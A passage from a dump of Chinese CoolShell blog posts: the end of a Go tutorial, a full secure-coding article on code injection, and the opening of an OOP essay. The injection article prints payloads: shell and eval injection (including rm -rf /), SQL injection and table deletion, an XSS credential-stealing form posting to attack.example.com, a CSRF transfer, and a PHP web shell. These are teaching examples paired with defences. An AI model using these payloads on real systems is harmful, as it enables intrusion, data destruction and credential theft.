系统调用\n\n\nGo语言那么C，所以，一定会有一些系统调用。Go语言主要是通过两个包完成的。一个是[os包](http://golang.org/pkg/os/)，一个是[syscall包](http://golang.org/pkg/syscall/)。（注意，链接被墙）\n\n\n这两个包里提供都是Unix-Like的系统调用，\n\n\n* syscall里提供了什么Chroot/Chmod/Chmod/Chdir…，Getenv/Getgid/Getpid/Getgroups/Getpid/Getppid…，还有很多如Inotify/Ptrace/Epoll/Socket/…的系统调用。\n\n\n* os包里提供的东西不多，主要是一个跨平台的调用。它有三个子包，Exec（运行别的命令）, Signal（捕捉信号）和User（通过uid查name之类的）\n\n\nsyscall包的东西我不举例了，大家可以看看《Unix高级环境编程》一书。\n\n\nos里的取几个例：\n\n\n**环境变量**\n\n\n\n```\npackage main\n\nimport \"os\"\nimport \"strings\"\n\n\nfunc main() {\n    os.Setenv(\"WEB\", \"https://coolshell.cn\") //设置环境变量\n    println(os.Getenv(\"WEB\")) //读出来\n\n    for _, env := range os.Environ() { //穷举环境变量\n        e := strings.Split(env, \"=\")\n        println(e[0], \"=\", e[1])\n    }\n}\n\n```\n\n#### 执行命令行\n\n\n下面是一个比较简单的示例\n\n\n\n```\n\npackage main\nimport \"os/exec\"\nimport \"fmt\"\nfunc main() {\n    cmd := exec.Command(\"ping\", \"127.0.0.1\")\n    out, err := cmd.Output()\n    if err!=nil {\n        println(\"Command Error!\", err.Error())\n        return\n    }\n    fmt.Println(string(out))\n}\n```\n\n正规一点的用来处理标准输入和输出的示例如下：\n\n\n\n```\npackage main\n\nimport (\n    \"strings\"\n    \"bytes\"\n    \"fmt\"\n    \"log\"\n    \"os/exec\"\n)\n\nfunc main() {\n    cmd := exec.Command(\"tr\", \"a-z\", \"A-Z\")\n    cmd.Stdin = strings.NewReader(\"some input\")\n    var out bytes.Buffer\n    cmd.Stdout = &out\n    err := cmd.Run()\n    if err != nil {\n        log.Fatal(err)\n    }\n    fmt.Printf(\"in all caps: %q\\n\", out.String())\n}\n```\n\n#### 命令行参数\n\n\nGo语言中处理命令行参数很简单：(使用os的Args就可以了)\n\n\n\n```\nfunc main() {\n    args := os.Args\n    fmt.Println(args) //带执行文件的\n    fmt.Println(args[1:]) //不带执行文件的\n}\n```\n\n在Windows下，如果运行结果如下：\n\n\n`C:\\Projects\\Go>go run args.go aaa bbb ccc ddd  \n\n[C:\\Users\\haoel\\AppData\\Local\\Temp\\go-build742679827\\command-line-arguments_  \n\nobj\\a.out.exe aaa bbb ccc ddd]  \n\n[aaa bbb ccc ddd]`\n\n\n那么，如果我们要搞出一些像 mysql -uRoot -hLocalhost -pPwd 或是像 cc -O3 -Wall -o a a.c 这样的命令行参数我们怎么办？Go提供了一个package叫flag可以容易地做到这一点\n\n\n\n```\n\npackage main\nimport \"flag\"\nimport \"fmt\"\n\nfunc main() {\n\n    //第一个参数是“参数名”，第二个是“默认值”，第三个是“说明”。返回的是指针\n    host := flag.String(\"host\", \"coolshell.cn\", \"a host name \")\n    port := flag.Int(\"port\", 80, \"a port number\")\n    debug := flag.Bool(\"d\", false, \"enable/disable debug mode\")\n\n    //正式开始Parse命令行参数\n    flag.Parse()\n\n    fmt.Println(\"host:\", *host)\n    fmt.Println(\"port:\", *port)\n    fmt.Println(\"debug:\", *debug)\n}\n```\n\n执行起来会是这个样子：\n\n\n\n```\n\n#如果没有指定参数名，则使用默认值\n$ go run flagtest.go\nhost: coolshell.cn\nport: 80\ndebug: false\n\n#指定了参数名后的情况\n$ go run flagtest.go -host=localhost -port=22 -d\nhost: localhost\nport: 22\ndebug: true\n\n#用法出错了（如：使用了不支持的参数，参数没有=）\n$ go build flagtest.go\n$ ./flagtest -debug -host localhost -port=22\nflag provided but not defined: -debug\nUsage of flagtest:\n  -d=false: enable/disable debug mode\n  -host=\"coolshell.cn\": a host name\n  -port=80: a port number\nexit status 2\n\n```\n\n感觉还是挺不错的吧。\n\n\n#### 一个简单的HTTP Server\n\n\n代码胜过千言万语。呵呵。这个小程序让我又找回以前用C写CGI的时光了。（Go的官方文档是《**[Writing Web Applications](http://golang.org/doc/articles/wiki/)**》）\n\n\n\n```\npackage main\n\nimport (\n    \"fmt\"\n    \"net/http\"\n    \"io/ioutil\"\n    \"path/filepath\"\n)\n\nconst http_root = \"/home/haoel/coolshell.cn/\"\n\nfunc main() {\n    http.HandleFunc(\"/\", rootHandler)\n    http.HandleFunc(\"/view/\", viewHandler)\n    http.HandleFunc(\"/html/\", htmlHandler)\n\n    http.ListenAndServe(\":8080\", nil)\n}\n\n//读取一些HTTP的头\nfunc rootHandler(w http.ResponseWriter, r *http.Request) {\n    fmt.Fprintf(w, \"rootHandler: %s\\n\", r.URL.Path)\n    fmt.Fprintf(w, \"URL: %s\\n\", r.URL)\n    fmt.Fprintf(w, \"Method: %s\\n\", r.Method)\n    fmt.Fprintf(w, \"RequestURI: %s\\n\", r.RequestURI )\n    fmt.Fprintf(w, \"Proto: %s\\n\", r.Proto)\n    fmt.Fprintf(w, \"HOST: %s\\n\", r.Host) \n}\n\n//特别的URL处理\nfunc viewHandler(w http.ResponseWriter, r *http.Request) {\n    fmt.Fprintf(w, \"viewHandler: %s\", r.URL.Path)\n}\n\n//一个静态网页的服务示例。（在http_root的html目录下）\nfunc htmlHandler(w http.ResponseWriter, r *http.Request) {\n    fmt.Printf(\"htmlHandler: %s\\n\", r.URL.Path)\n    \n    filename := http_root + r.URL.Path\n    fileext := filepath.Ext(filename)\n\n    content, err := ioutil.ReadFile(filename)\n    if err != nil {\n        fmt.Printf(\"   404 Not Found!\\n\")\n        w.WriteHeader(http.StatusNotFound)\n        return\n    }\n    \n    var contype string\n    switch fileext {\n        case \".html\", \"htm\":\n            contype = \"text/html\"\n        case \".css\":\n            contype = \"text/css\"\n        case \".js\":\n            contype = \"application/javascript\"\n        case \".png\":\n            contype = \"image/png\"\n        case \".jpg\", \".jpeg\":\n            contype = \"image/jpeg\"\n        case \".gif\":\n            contype = \"image/gif\"\n        default: \n            contype = \"text/plain\"\n    }\n    fmt.Printf(\"ext %s, ct = %s\\n\", fileext, contype)\n    \n    w.Header().Set(\"Content-Type\", contype)\n    fmt.Fprintf(w, \"%s\", content)\n    \n}\n```\n\nGo的功能库有很多，大家自己慢慢看吧。**我再吐个槽——Go的文档真不好读。例子太少了**。\n\n\n先说这么多吧。这是我周末两天学Go语言学到的东西，写得太仓促了，而且还有一些东西理解不到位，还大家请指正！\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Go编程模式 ： 泛型编程](../wp-content/uploads/2021/09/go-generics-150x150.png)](https://coolshell.cn/articles/21615.html)[Go编程模式 ： 泛型编程](https://coolshell.cn/articles/21615.html)\n* [![Go 编程模式：k8s Visitor 模式](../wp-content/uploads/2020/12/go.k8s-150x150.png)](https://coolshell.cn/articles/21263.html)[Go 编程模式：k8s Visitor 模式](https://coolshell.cn/articles/21263.html)\n* [![Go编程模式：Pipeline](../wp-content/uploads/2020/12/go.line_.-150x150.png)](https://coolshell.cn/articles/21228.html)[Go编程模式：Pipeline](https://coolshell.cn/articles/21228.html)\n* [![Go编程模式：委托和反转控制](../wp-content/uploads/2020/12/go.pair_-150x150.png)](https://coolshell.cn/articles/21214.html)[Go编程模式：委托和反转控制](https://coolshell.cn/articles/21214.html)\n* [![Go 编程模式：Go Generation](../wp-content/uploads/2020/12/go.generate-150x150.png)](https://coolshell.cn/articles/21179.html)[Go 编程模式：Go Generation](https://coolshell.cn/articles/21179.html)\n* [![Go编程模式：Map-Reduce](../wp-content/uploads/2020/12/go.map_.reduce-150x150.png)](https://coolshell.cn/articles/21164.html)[Go编程模式：Map-Reduce](https://coolshell.cn/articles/21164.html)\nThe post [Go 语言简介（下）— 特性](https://coolshell.cn/articles/8489.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-12-10 程序员疫苗：代码注入.md",
    "content": "---\nlayout: post\ntitle: 程序员疫苗：代码注入\ndate: 2012/12/10/ 0:34:48\nupdated: 2012/12/10/ 0:34:48\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2012/12/200906020837401710.jpg \"程序员疫苗\")几个月在[我的微博](http://weibo.com/haeol)上说过要建一个程序员疫苗网站，希望大家一起来提交一些错误示例的代码，来帮助我们新入行的程序员，不要让我们的程序员一代又一代的再重复地犯一些错误。很多程序上错误就像人类世界的病毒一样，我们应该给我们的新入行的程序员注射一些疫苗，就像给新生儿打疫苗一样，希望程序员从入行时就对这些错误有抵抗力。\n\n\n我的那个疫苗网站正在建议中（不好意思拖了很久），不过，我可以先写一些关于程序员疫苗性质的文章，也算是热热身。希望大家喜欢，先向大家介绍第一注疫苗——代码注入。\n\n\n#### Shell注入\n\n\n我们先来看一段perl的代码：\n\n\n[perl]use CGI qw(:standard);  \n\n$name = param(‘name’);  \n\n$nslookup = \"/path/to/nslookup\";  \n\nprint header;  \n\nif (open($fh, \"$nslookup $name|\")) {  \n\n   while (<$fh>) {  \n\n print escapeHTML($\\_);  \n\n print \"<br>\\n\";  \n\n }  \n\n close($fh);  \n\n}[/perl]\n\n\n如果用户输入的参数是：\n\n\n`coolshell.cn%20%3B%20/bin/ls%20-l`\n\n\n那么，这段perl的程序就成了：\n\n\n\n`/path/to/nslookup coolshell.cn ; /bin/ls -l`\n\n\n我们再来看一段PHP的程序：\n\n\n\n```\n$myvar = 'somevalue';\n$x = $_GET['arg'];\neval('$myvar = ' . $x . ';');\n```\n\n“`eval`“的参数将会视同PHP处理，所以额外的命令可被添加。例如：如果”arg”如果被设成”`10; system('rm -rf /')`“，后面的”`system('rm -rf /')`“代码将被运行，这等同在服务器上运行开发者意料外的程序。（关于rm -rf /，你懂的，可参看“[一个空格引发的悲剧](https://coolshell.cn/articles/4875.html \"一个空格引发的惨剧\")”）\n\n\n再来看一个PHP的代码\n\n\n\n```\n$isadmin= false;\n...\n...\nforeach ($_GET as $key => $value) {\n  $$key = $value;\n}\n```\n\n如果攻击者在查询字符串中给定”isadmin=1″，那$isadmin将会被设为值 “1”，然后攻击值就取得了网站应用的admin权限了。\n\n\n再来看一个PHP的示例：\n\n\n\n```\n$action = 'login';\n   if (__isset( $_GET['act'] ) )\n      $action = $_GET['act'];\n   require( $action . '.php' ); \n```\n\n这个代码相当危险，攻击者有可能可以干这些事：\n\n\n* `/test.php?act=**http://evil/exploit**` – 注入远程机器上有漏洞的文件。\n* `/test.php?act=**/home/www/bbs/upload/exploit**` – 从一个已经上载、叫做exploit.php文件运行其代码。\n* `/test.php?act=**../../../../etc/passwd%00**` – 让攻击者取得该UNIX系统目录检索下密码文件的内容。一个使用空元字符以解除`.php`扩展名限制，允许访问其他非 .php 结尾文件。 (PHP默认值”magic\\_quotes\\_gpc = On”可以终止这种攻击)\n\n\n这样的示例有很多，只要你的程序有诸如：`system()`、`StartProcess()`、`java.lang.Runtime.exec()`、`System.Diagnostics.Process.Start()`以及类似的应用程序接口，都是比较危险的，最好不要让其中的字符串去拼装用户的输入。\n\n\nPHP提供`[escapeshellarg()](http://www.php.net/manual/en/function.escapeshellarg.php)`和`[escapeshellcmd()](http://www.php.net/manual/en/function.escapeshellcmd.php)`以在调用方法以前进行编码。然而，实际上并不建议相信这些方法是安全的 。\n\n\n#### SQL注入\n\n\nSQL injection，是发生于应用程序之数据库层的安全漏洞。简而言之，是在输入的字符串之中注入SQL指令，在设计不良的程序当中忽略了检查，那么这些注入进去的指令就会被数据库服务器误认为是正常的SQL指令而运行，因此遭到破坏。\n\n\n在应用程序中若有下列状况，则可能应用程序正暴露在SQL Injection的高风险情况下：\n\n\n1. 在应用程序中使用字符串联结方式组合SQL指令（如：引号没有转义）。\n2. 在应用程序链接数据库时使用权限过大的帐户（如：很多开发人员都喜欢用sa（最高权限的系统管理员帐户）连接Microsoft SQL Server数据库）。\n3. 在数据库中开放了不必要但权力过大的功能（例如在Microsoft SQL Server数据库中的xp\\_cmdshell延伸预存程序或是OLE Automation预存程序等）\n4. 过于信任用户所输入的数据，未限制输入的字符数，以及未对用户输入的数据做潜在指令的检查。\n\n\n例程：\n\n\n某个网站的登录验证的SQL查询代码为\n\n\n\n\n\n```\nstrSQL = \"SELECT * FROM users\nWHERE (name = '\" + userName + \"') and (pw = '\"+ passWord +\"');\"\n```\n\n\n\n用户在登录时恶意输入如下的的用户名和口令：\n\n\n\n`userName = \"' OR '1'='1\";`\n\n\n\n`passWord = \"' OR '1'='1\";`\n\n\n此时，将导致原本的SQL字符串被解析为：\n\n\n\n\n\n```\nstrSQL = \"SELECT * FROM users\nWHERE (name = '' OR '1'='1') and (pw = '' OR '1'='1');\"\n```\n\n\n\n也就是实际上运行的SQL命令会变成下面这样的，因此导致无帐号密码，也可登录网站。\n\n\n\n`strSQL = \"SELECT * FROM users;\"`\n\n\n这还不算恶劣的，真正恶劣的是在你的语句后再加一个自己的语句，如：\n\n\n`username= \"' ; DELETE FROM users; --\";`\n\n\n这样一来，要么整个数据库的表被人盗走，要么被数据库被删除。\n\n\n**所以SQL注入攻击被俗称为黑客的填空游戏**。你是否还记得酷壳[这篇文章里的SQL注入](https://coolshell.cn/articles/6639.html \"千万别惹程序员\")？\n\n\n![](../wp-content/uploads/2012/02/SQL-injection-attackadjusted.jpg \"SQL-injection-attack(adjusted)\")\n\n\n当他们发现一个网站有SQL注入的时候，他们一般会干下面的事：\n\n\n* 盗取数据表中的数据，例如个人机密数据（信用卡，身份证，手机号，通讯录……），帐户数据，密码等，获得用户的数据和信息后对这些用户进行“社会工程学”活动（如：[我前两天在微信上亲身经历](https://coolshell.cn/articles/8638.html \"为什么不能用微信或米聊这类的软件\")）。\n\n\n* 取得系统管理员权限（例如ALTER LOGIN sa WITH PASSWORD=’xxxxxx’）。\n\n\n* 在数据库中的数据中插入一些HTML/JS代码，有可能得以在网页加入恶意链接以及XSS，这样一来就让访问者被黑。\n\n\n* 经由数据库服务器提供的操作系统支持，让黑客得以修改或控制操作系统（例如：MS SQL Server的 xp\\_cmdshell “net stop iisadmin”可停止服务器的IIS服务）。甚至破坏硬盘数据，瘫痪全系统（例如xp\\_cmdshell “FORMAT C:”）。\n\n\n现在的黑客比较坏，瘫痪系统的事，他们干的越来越少，因为没什么利益，他们希望通过获取用户的帐号信息后，转而攻击用户别的帐号，如游戏帐号，网银帐号，QQ帐号等等他们可以获利的事情（这就是为什么我希望大家[在不站点上使用不同的口令](https://coolshell.cn/articles/2428.html \"如何管理并设计你的口令\")，甚至不同的用户信息的原因）\n**如何避免**\n\n\n* 在组合SQL字符串时，先针对所传入的参数作字符转义（如：将单引号字符取代为连续2个单引号字符）。如果使用PHP开发网页程序的话，亦可打开PHP的Magic quote功能自动将所有的网页传入参数，将单引号字符取代为连续2个单引号字符。**如果可能应该过滤以下字符：分号“;”，两个减号“–”，单引号“’”，注释“/\\* … \\*/”**。（当然，因为注入攻击一般用闭合的引号来玩，所以把引号转义了应该就没有什么问题了）\n\n\n* 更换危险字符。例如在PHP通过`addslashes()`函数保护SQL注入。\n\n\n* 限制用户输入的长度，限制用户输入的取值范围。\n\n\n* 为当前应用建立权限比较小的数据库用户，这样不会导致数据库管理员丢失。\n\n\n* 把数据库操作封装成一个Service，对于敏感数据，对于每个客户端的IP，在一定时间内每次只返回一条记录。这样可以避免被拖库。\n\n\n#### \n\n\n#### 跨网站脚本注 入\n\n\n**跨网站脚本**（**Cross-site** scripting，通常简称为XSS或跨站脚本或跨站脚本攻击）是一种网站应用程序的安全漏洞攻击，是代码注入的一种。它通过巧妙的方法注入恶意指令代码到网页，使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript，但实际上也可以包括Java， VBScript， ActiveX， Flash 或者甚至是普通的HTML。攻击成功后，攻击者可能得到包括但不限于更高的权限（如执行一些操作）、私密网页内容、会话和cookie等各种内容。\n\n\n假如我们有这样一段PHP的代码：\n\n\n\n```\n$username = $_GET['username'];\necho '<div> Welcome, ' . $username . '</div>';\n```\n\n那么我们可以这样来注入：\n\n\nhttp://trustedSite.example.com/welcome.php?username=<Script Language=”Javascript”>alert(“You’ve been attacked!”);</Script>\n甚至这样：\n\n\nhttp://trustedSite.example.com/welcome.php?username=<div id=”stealPassword”>Please Login:<form name=”input” action=”http://attack.example.com/stealPassword.php” method=”post”>Username: <input type=”text” name=”username” /><br/>Password: <input type=”password” name=”password” /><input type=”submit” value=”Login” /></form></div>\n这会让网页显示以下内容：\n\n\n\n```\n\n<div class=\"header\"> Welcome,\n    <div id=\"stealPassword\">Please Login:\n        <form name=\"input\" action=\"attack.example.com/stealPassword.php\" method=\"post\">\n            Username: <input type=\"text\" name=\"username\" />\n            <br/>\n            Password: <input type=\"password\" name=\"password\" />\n            <input type=\"submit\" value=\"Login\" />\n        </form>\n    </div>\n</div>\n\n```\n\n注入的代码还有可能变种为如下这种更为隐蔽的方式(unicode码)：\n\n\n\ntrustedSite.example.com/welcome.php?username=<script+type=”text/javascript”>\ndocument.write(‘\\u003C\\u0064\\u0069\\u0076\\u0020\\u0069\\u0064\\u003D\\u0022\\u0073\n\\u0074\\u0065\\u0061\\u006C\\u0050\\u0061\\u0073\\u0073\\u0077\\u006F\\u0072\\u0064\n\\u0022\\u003E\\u0050\\u006C\\u0065\\u0061\\u0073\\u0065\\u0020\\u004C\\u006F\\u0067\n\\u0069\\u006E\\u003A\\u003C\\u0066\\u006F\\u0072\\u006D\\u0020\\u006E\\u0061\\u006D\n\\u0065\\u003D\\u0022\\u0069\\u006E\\u0070\\u0075\\u0074\\u0022\\u0020\\u0061\\u0063\n\\u0074\\u0069\\u006F\\u006E\\u003D\\u0022\\u0068\\u0074\\u0074\\u0070\\u003A\\u002F\n\\u002F\\u0061\\u0074\\u0074\\u0061\\u0063\\u006B\\u002E\\u0065\\u0078\\u0061\\u006D\n\\u0070\\u006C\\u0065\\u002E\\u0063\\u006F\\u006D\\u002F\\u0073\\u0074\\u0065\\u0061\n\\u006C\\u0050\\u0061\\u0073\\u0073\\u0077\\u006F\\u0072\\u0064\\u002E\\u0070\\u0068\n\\u0070\\u0022\\u0020\\u006D\\u0065\\u0074\\u0068\\u006F\\u0064\\u003D\\u0022\\u0070\n\\u006F\\u0073\\u0074\\u0022\\u003E\\u0055\\u0073\\u0065\\u0072\\u006E\\u0061\\u006D\n\\u0065\\u003A\\u0020\\u003C\\u0069\\u006E\\u0070\\u0075\\u0074\\u0020\\u0074\\u0079\n\\u0070\\u0065\\u003D\\u0022\\u0074\\u0065\\u0078\\u0074\\u0022\\u0020\\u006E\\u0061\n\\u006D\\u0065\\u003D\\u0022\\u0075\\u0073\\u0065\\u0072\\u006E\\u0061\\u006D\\u0065\n\\u0022\\u0020\\u002F\\u003E\\u003C\\u0062\\u0072\\u002F\\u003E\\u0050\\u0061\\u0073\n\\u0073\\u0077\\u006F\\u0072\\u0064\\u003A\\u0020\\u003C\\u0069\\u006E\\u0070\\u0075\n\\u0074\\u0020\\u0074\\u0079\\u0070\\u0065\\u003D\\u0022\\u0070\\u0061\\u0073\\u0073\n\\u0077\\u006F\\u0072\\u0064\\u0022\\u0020\\u006E\\u0061\\u006D\\u0065\\u003D\\u0022\n\\u0070\\u0061\\u0073\\u0073\\u0077\\u006F\\u0072\\u0064\\u0022\\u0020\\u002F\\u003E\n\\u003C\\u0069\\u006E\\u0070\\u0075\\u0074\\u0020\\u0074\\u0079\\u0070\\u0065\\u003D\n\\u0022\\u0073\\u0075\\u0062\\u006D\\u0069\\u0074\\u0022\\u0020\\u0076\\u0061\\u006C\n\\u0075\\u0065\\u003D\\u0022\\u004C\\u006F\\u0067\\u0069\\u006E\\u0022\\u0020\\u002F\n\\u003E\\u003C\\u002F\\u0066\\u006F\\u0072\\u006D\\u003E\\u003C\\u002F\\u0064\\u0069\\u0076\\u003E\\u000D’);</script>\n\n**XSS的攻击主要是通过一段JS程序得用用户已登录的cookie去模拟用户的操作（甚至偷用户的cookie）**。这个方式可以让用户在自己不知情的情况下操作了自己不期望的操作。如果是网站的管理员中招，还有可能导致后台管理权限被盗。关于其中的一些细节可以参看《[新浪微博的XSS攻击](https://coolshell.cn/articles/4914.html \"新浪微博的XSS攻击\")》一文。XSS攻击是程序员有一糊涂就很容易犯的错误，你还可以看看网上的《[腾讯微博的XSS攻击](http://www.cnblogs.com/kingthy/archive/2011/08/20/2147355.html)》。\n\n\nXSS攻击在论坛的用户签档里面（使用img标签）也发生过很多次，包括像一些使用bcode的网站，很有可能会被注入一些可以被浏览器用来执行的代码。包括CSS都有可能被注入javascript代码。\n\n\n不要以为XSS攻击是我们的程序没有写好，有时候，我们会引用别人站点上的js文件，比如：放一个天气预报的小Widget的js，或是一个流量监控，或是一段广告的js文件。你不知道这些东西是不是有问题，如果有恶意的话，这就是你自己主动注入攻击代码了。\n\n\n**另外，XSS攻击有一部分是和浏览器有关的。**比如，如下的一些例子，你可能从来都没有想过吧？（**更多的例子可以参看酷壳很早以前的这篇文章《[浏览器HTML安全列表](https://coolshell.cn/articles/2416.html)》**）\n\n\n\n```\n<table background=”javascript:alert(1)”>\n\n<meta charset=”mac-farsi”>¼script¾alert(1)¼/script¾\n\n<img src=”javascript:alert(1)”>\n```\n\nXSS攻击通常会引发CSRF攻击。CSRF攻击主要是通过在A站上设置B站点上的链接，通过使用用户在B站点上的登录且还没有过期的cookie，从而使得用户的B站点被攻击。（这得益于现在的多Tab页的浏览器，大家都会同时打开并登录很多的网站，而这些不同网站的页面间的cookie又是共享的）\n\n\n于是，如果我在A站点内的某个贴子内注入这么一段代码：\n\n\n`<img src=\"http://bank.example.com/transfer?account=XXX&amount=1000000&for=haoel\">`\n\n\n很有可能你就在访问A站的这个贴子时，你的网银可能向我转了一些钱。\n\n\n**如何避免**\n\n\n要防止XSS攻击，一般来说有下面几种手段：\n\n\n* 严格限制用户的输入。最好不要让用户输入带标签的内容。最好不要让用户使用一些所见即所得的HTML编辑器。\n\n\n* 严格过滤用户的输入。如：\n\t+ PHP的`htmlentities()或是htmlspecialchars()或是strip_tags()`。\n\t+ Python的`cgi.escape()`\n\t+ ASP的`Server.HTMLEncode()`。\n\t+ Node.js的node-validator。\n\t+ Java的[xssprotect](http://code.google.com/p/xssprotect/)。\n\n\n* 在一些关键功能，完全不能信任cookie，必需要用户输入口令。如：修改口令，支付，修改电子邮件，查看用户的敏感信息等等。\n\n\n* 限制cookie的过期时间。\n\n\n* 对于CSRF攻击，一是需要检查http的reference header。二是不要使用GET方法来改变数据，三是对于要提交的表单，后台动态生成一个随机的token，这个token是攻击者很难伪造的。（对于token的生成，建议找一些成熟的lib库）\n\n\n另外，你可能觉得网站在处理用户的表单提交就行了，其实不是，**想一想那些Web Mail，我可以通过别的服务器向被攻击用户发送有JS代码、图片、Flash的邮件到你的邮箱，你打开一看，你就中招了**。所以，WebMail一般都禁止显示图片和附件，这些都很危险，只有你完全了解来源的情况下才能打开。**电子邮件的SMTP协议太差了，基本上无法校验其它邮件服务器的可信度，我甚至可以自己建一个本机的邮件服务器，想用谁的邮件地址发信就用谁的邮件地址发信**。**所以，我再次真诚地告诉大家，请用gmail邮箱**。别再跟我说什么QQMail之类的好用了。\n\n\n#### 上传文件\n\n\n上传文件是一个很危险的功能，尤其是你如果不校验上传文件的类型的话，你可能会中很多很多的招，这种攻击相当狠。**试想，如果用户上传给你一个PHP、ASP、JSP的文件，当有人访问这个文件时，你的服务器会解释执行之，这就相当于他可以在你的服务器上执行一段程序。这无疑是相当危险的。**\n\n\n举个例子：\n\n\n\n```\n<form action=\"upload_picture.php\" method=\"post\" enctype=\"multipart/form-data\">\n要上传的文件:\n<input type=\"file\" name=\"filename\"/>\n<br/>\n<input type=\"submit\" name=\"submit\" value=\"Submit\"/>\n</form>\n\n```\n\n \n\n\n\n```\n$target = \"pictures/\" . basename($_FILES['uploadedfile']['name']);\nif(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target)){\n    echo \"图片文件上传成功\";\n}else{</div>\n    echo \"图片文件上传失败\";\n}\n```\n\n假如我上传了一个PHP文件如下：\n\n\n\n```\n<?php\nsystem($_GET['cmd']);\n?>\n```\n\n那么，我就可以通过如下的URL访问攻击你的网站了：\n\n\n`http://server.example.com/upload_dir/malicious.php?cmd=ls%20-l`\n\n\n抵御这样的攻击有两种手段：\n\n\n1）限制上传文件的文件扩展名。\n\n\n2）千万不要使用root或Administrator来运行你的Web应用。\n\n\n#### URL跳转\n\n\nURL跳转很有可能会成为攻击利用的工具。\n\n\n比如下面的PHP代码：\n\n\n\n```\n$redirect_url = $_GET['url'];\nheader(\"Location: \" . $redirect_url);\n```\n\n这样的代码可能很常见，比如当用户在访问你的网站某个页观的时候没有权限，于是你的网站跳转到登录页面，当然登录完成后又跳转回刚才他访问的那个页面。一般来说，我们都会在跳转到登录页面时在URL里加上要被跳转过去的网页。于是会出现上述那样的代码。\n\n\n于是我们就可以通过下面的URL，跳转到一个恶意网站上，而那个网站上可能有一段CSRF的代码在等着你，或是一个钓鱼网站。\n\n\n`http://bank.example.com/redirect?url=http://attacker.example.net`\n\n\n这种攻击具有的迷惑性在于，用户看到的http://bank.example.com，**以为是一个合法网站，于是就点了这个链接，结果通过这个合法网站，把用户带到了一个恶意网站，而这个恶意网站上可能把页面做得跟这个合法网站一模一样，你还以为访问的是正确的地方，结果就被钓鱼了**。\n\n\n解决这个问题很简单，你需要在你的后台判断一下传过来的URL的域名是不是你自己的域名。\n\n\n你可以看看Google和Baidu搜索引擎的链接跳转，百度的跳转链接是被加密过的，而Google的网站链接很长，里面有网站的明文，但是会有几个加密过的参数，如果你把那些参数移除掉，Google会显示一个重定向的提醒页面。（我个人觉得还是Google做得好）\n\n\n（本篇文章结束）\n\n\n这段时间工作和家里的事比较多，所以时间有限，更新不快，而此篇行文比较仓促，欢迎大家补充，并指出我文中的问题。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![如何免费的让网站启用HTTPS](../wp-content/uploads/2017/08/enable-https-banner-150x150.png)](https://coolshell.cn/articles/18094.html)[如何免费的让网站启用HTTPS](https://coolshell.cn/articles/18094.html)\n* [![从“黑掉Github”学Web安全开发](../wp-content/uploads/2014/02/Github-Security-150x150.png)](https://coolshell.cn/articles/11021.html)[从“黑掉Github”学Web安全开发](https://coolshell.cn/articles/11021.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg](https://coolshell.cn/articles/6043.html)[Web开发中需要了解的东西](https://coolshell.cn/articles/6043.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg](https://coolshell.cn/articles/5987.html)[如何设计“找回用户帐号”功能](https://coolshell.cn/articles/5987.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/5353.html)[你会做Web上的用户登录功能吗？](https://coolshell.cn/articles/5353.html)\n* [![网络数字身份认证术](../wp-content/uploads/2022/01/iStock-1175502114-150x150.png)](https://coolshell.cn/articles/21708.html)[网络数字身份认证术](https://coolshell.cn/articles/21708.html)\nThe post [程序员疫苗：代码注入](https://coolshell.cn/articles/8711.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-12-13 如此理解面向对象编程.md",
    "content": "---\nlayout: post\ntitle: 如此理解面向对象编程\ndate: 2012/12/13/ 0:19:28\nupdated: 2012/12/13/ 0:19:28\nstatus: publish\npublished: true\ntype: post\n---\n\n从Rob Pike 的 Google+上的一个推看到了一篇叫《[Understanding Object Oriented Programming](http://www.csis.pace.edu/~bergin/patterns/ppoop.html)》的文章，我先把这篇文章简述一下，然后再说说老牌黑客Rob Pike的评论。\n\n\n先看这篇教程是怎么来讲述OOP的。它先给了下面这个问题，这个问题需要输出一段关于操作系统的文字：假设Unix很不错，Windows很差。\n\n\n这个把下面这段代码描述成是**Hacker Solution**。（这帮人觉得下面这叫黑客？我估计这帮人真是没看过C语言的代码）\n\n\n\n```\npublic class PrintOS\n{\n\tpublic static void main(final String[] args)\n\t{\n\t\tString osName = System.getProperty(\"os.name\") ;\n\t\tif (osName.equals(\"SunOS\") || osName.equals(\"Linux\"))\n\t\t{\n\t\t\tSystem.out.println(\"This is a UNIX box and therefore good.\") ;\n\t\t}\n\t\telse if (osName.equals(\"Windows NT\") || osName.equals(\"Windows 95\"))\n\t\t{\n\t\t\tSystem.out.println(\"This is a Windows box and therefore bad.\") ;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tSystem.out.println(\"This is not a box.\") ;\n\t\t}\n\t}\n}\n```\n\n然后开始用面向对象的编程方式一步一步地进化这个代码。\n\n\n先是以过程化的思路来重构之。\n\n\n\n#### 过程化的方案\n\n\n\n```\npublic class PrintOS\n{\n\tprivate static String unixBox()\n\t{\n\t\treturn \"This is a UNIX box and therefore good.\" ;\n\t}\n\tprivate static String windowsBox()\n  \t{\n\t\treturn \"This is a Windows box and therefore bad.\" ;\n\t}\n\tprivate static String defaultBox()\n\t{\n\t\treturn \"This is not a box.\" ;\n\t}\n\tprivate static String getTheString(final String osName)\n\t{\n\t\tif (osName.equals(\"SunOS\") || osName.equals(\"Linux\"))\n\t\t{\n\t\t\treturn unixBox() ;\n\t\t}\n\t\telse if (osName.equals(\"Windows NT\") ||osName.equals(\"Windows 95\"))\n\t\t{\n\t\t\treturn windowsBox() ;\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn defaultBox() ;\n\t\t}\n  \t}\n\tpublic static void main(final String[] 